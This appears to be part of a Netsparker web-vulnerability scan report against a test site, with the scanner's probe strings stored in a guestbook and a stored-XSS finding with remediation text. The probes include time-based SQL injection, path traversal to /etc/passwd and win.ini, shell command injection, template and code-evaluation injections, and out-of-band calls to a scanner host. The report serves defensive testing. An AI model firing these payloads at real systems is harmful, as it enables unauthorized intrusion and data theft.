//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

https://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:23 AM +

+

+ +

+
+

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

testsparker.com.r87.com/?

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

+

+ 8/23/2017 8:07:22 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

///r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

/\r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:21 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:21 AM +

+

+ ]>&lfi; +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ ]>&lfi; +

+
+

r87.com/?https://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:20 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:19 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

]>&lfi;

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

//r87.com/?http://testsparker.com/

+

+ 8/23/2017 8:07:18 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:16 AM +

+

+ #{28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ ${28275*28275-(13)} +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ http://example.com/? +ns: netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:15 AM +

+

+ +

+
+

http://r87.com/?testsparker.com/

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:14 AM +

+

+ ns:netsparker056650=vuln +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

#{28275*28275-(13)}

+

+ 8/23/2017 8:07:12 AM +

+

+ +

+
+

${28275*28275-(13)}

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:10 AM +

+

+ r87.com/n +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:09 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:08 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:05 AM +

+

+ php://filter//resource=http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:04 AM +

+

+ http://r87.com/n?.aspx +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ http://r87.com/n?ďż˝.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ hTTp://r87.com/n +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:02 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://example.com/? +ns: netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

"+print localtime()*0+0xFFF9999-22+"

+

+ 8/23/2017 8:07:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

'+print localtime()*0+0xFFF9999-22+'

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" +

+
+

eval('print localtime()*0+0xFFF9999-22')

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

print localtime()*0+0xFFF9999-22

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:59 AM +

+

+ +

+
+

[php]print(int)0xFFF9999-22;[/php]

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

'{${print(int)0xFFF9999-22}}'

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

{php}print(int)0xFFF9999-22;{/php}

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

+

+ 8/23/2017 8:06:58 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

"+print(int)0xFFF9999-22+"

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

'+print(int)0xFFF9999-22+'

+

+ 8/23/2017 8:06:57 AM +

+

+ +

+
+

+print(int)0xFFF9999-22;//

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

print(int)0xFFF9999-22;

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:56 AM +

+

+ +

+
+

Guestbook.aspxďż˝

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

print(int)0xFFF9999-22

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

Guestbook.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:55 AM +

+

+ +

+
+

data:;base64,TlM3NzU0NTYxNDQ2NTc1

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

<% response.write(268409241-22) %>

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

"+response.write(268409241-22)+"

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

+response.write(268409241-22)'

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:54 AM +

+

+ +

+
+

response.write(268409241-22)'

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝.aspx

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝

+

+ 8/23/2017 8:06:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:52 AM +

+

+ '+((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

hTTp://r87.com/n

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

file:///etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:52 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ |expr${IFS}268409241${IFS}-${IFS}2 +

+
+

/../../../../../../../../../../proc/versionďż˝.aspx

+

+ 8/23/2017 8:06:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ 1));SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ '));SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ expr 268409241 - 2 +

+
+

/../../../../../../../../../../proc/version

+

+ 8/23/2017 8:06:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:50 AM +

+

+ ping -c 25 127.0.0.1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ expr 268409241 - 2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ ping -n 25 127.0.0.1 +

+
+

/../../../../../../../../../../var/log/apache/error.log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:49 AM +

+

+ ');SELECT pg_sleep(25)-- +

+
+

/../../../../../../../../../../var/log/apache2/error.log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

/../../../../../../../../../../etc/httpd/logs/error_log

+

+ 8/23/2017 8:06:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ 1);SELECT pg_sleep(25)-- +

+
+

/../../../../../../../../../../etc/httpd/logs/error.log

+

+ 8/23/2017 8:06:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:48 AM +

+

+ ping -c 25 127.0.0.1 & +

+
+

/../../../../../../../../../../proc/self/fd/2ďż˝.aspx

+

+ 8/23/2017 8:06:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ 1;SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ &ping -c 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ ';SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ '&ping -c 25 127.0.0.1 &' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ "&ping -c 25 127.0.0.1 &" +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ ((select sleep(25)))a-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

/../../../../../../../../../../proc/self/fd/2

+

+ 8/23/2017 8:06:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:43 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

/../../../../../../../../../../windows/iis6.log

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

//r87.com/?0x003DBA

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//windows\win.ini

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

//r87.com/?0x003DB9

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:42 AM +

+

+ &expr 268409241 - 2 & +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ '&expr 268409241 - 2 &' +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:06:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ "&expr 268409241 - 2 &" +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

[ns](javascript:netsparker(0x003D91);)

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ 1)) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ ')) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:37 AM +

+

+ ') WAITFOR DELAY '0:0:25'-- +

+
+ + + +
12
+
+ + +
+
+ + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + + Netsparker Cloud detected possible stored cross-site scripting, which allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser. "Permanent" means that the attack will be stored in the backend system. In normal cross-site scripting, an attacker needs to e-mail the victim, but in a permanent cross-site scripting, an attacker can simply execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

]]>
+ Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User session sensitive information such as cookies can be stolen.
  • XSS can enable client-side worms which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
]]>
+ + +

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters, with which you will populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include OWASP Reform and Microsoft Anti cross-site scripting libraries.

]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/GuestbookList.aspx + PossiblePermanentXss + [Possible] Stored Cross-site Scripting + Important + 75 + False + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + GET + + + + + + + 200 + 2375,0064 + + + + + Bitcoin Web Site + + + + +
+
+ + + +
+ + + + +
+ + + + +
+ +
+
+ + + + +

Last Comments

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Smith

+

+ 8/23/2017 8:10:17 AM +

+

+ ns:netsparker056650=vuln +

+
+

r87.com/?aspnet.testsparker.com/

+

+ 8/23/2017 8:10:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:16 AM +

+

+ ns:netsparker056650=vuln +

+
+

Smith

+

+ 8/23/2017 8:10:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:15 AM +

+

+ '"--> +

+
+

Smith

+

+ 8/23/2017 8:10:15 AM +

+

+ http://example.com/? +ns: netsparker056650=vuln +

+
+

Smith

+

+ 8/23/2017 8:10:15 AM +

+

+ #{28275*28275-(13)} +

+
+

Smith

+

+ 8/23/2017 8:10:14 AM +

+

+ ${28275*28275-(13)} +

+
+

//r87.com/?http://aspnet.testsparker.com/

+

+ 8/23/2017 8:10:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:13 AM +

+

+ +

+
+

Guestbook.aspx

+

+ 8/23/2017 8:10:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:12 AM +

+

+ +

+
+

data:;base64,TlM3NzU0NTYxNDQ2NTc1

+

+ 8/23/2017 8:10:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:11 AM +

+

+ ns:netsparker056650=vuln +

+
+

Smith

+

+ 8/23/2017 8:10:11 AM +

+

+ +

+
+

http://r87.com/?aspnet.testsparker.com/

+

+ 8/23/2017 8:10:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:10 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

+

+ 8/23/2017 8:10:09 AM +

+

+ +

+
+

#{28275*28275-(13)}

+

+ 8/23/2017 8:10:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:09 AM +

+

+ +

+
+

/etc/passwd

+

+ 8/23/2017 8:10:08 AM +

+

+ +

+
+

${28275*28275-(13)}

+

+ 8/23/2017 8:10:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:07 AM +

+

+ +

+
+

arguments[1].end(require('child_process').execSync('expr 268409241 - 22'))

+

+ 8/23/2017 8:10:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:07 AM +

+

+ +

+
+

http://r87.com/?aspnet.testsparker.com/

+

+ 8/23/2017 8:10:06 AM +

+

+ +

+
+

1/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:10:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:06 AM +

+

+ r87.com/n +

+
+

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

+

+ 8/23/2017 8:10:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:05 AM +

+

+ +

+
+

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd

+

+ 8/23/2017 8:10:05 AM +

+

+ +

+
+

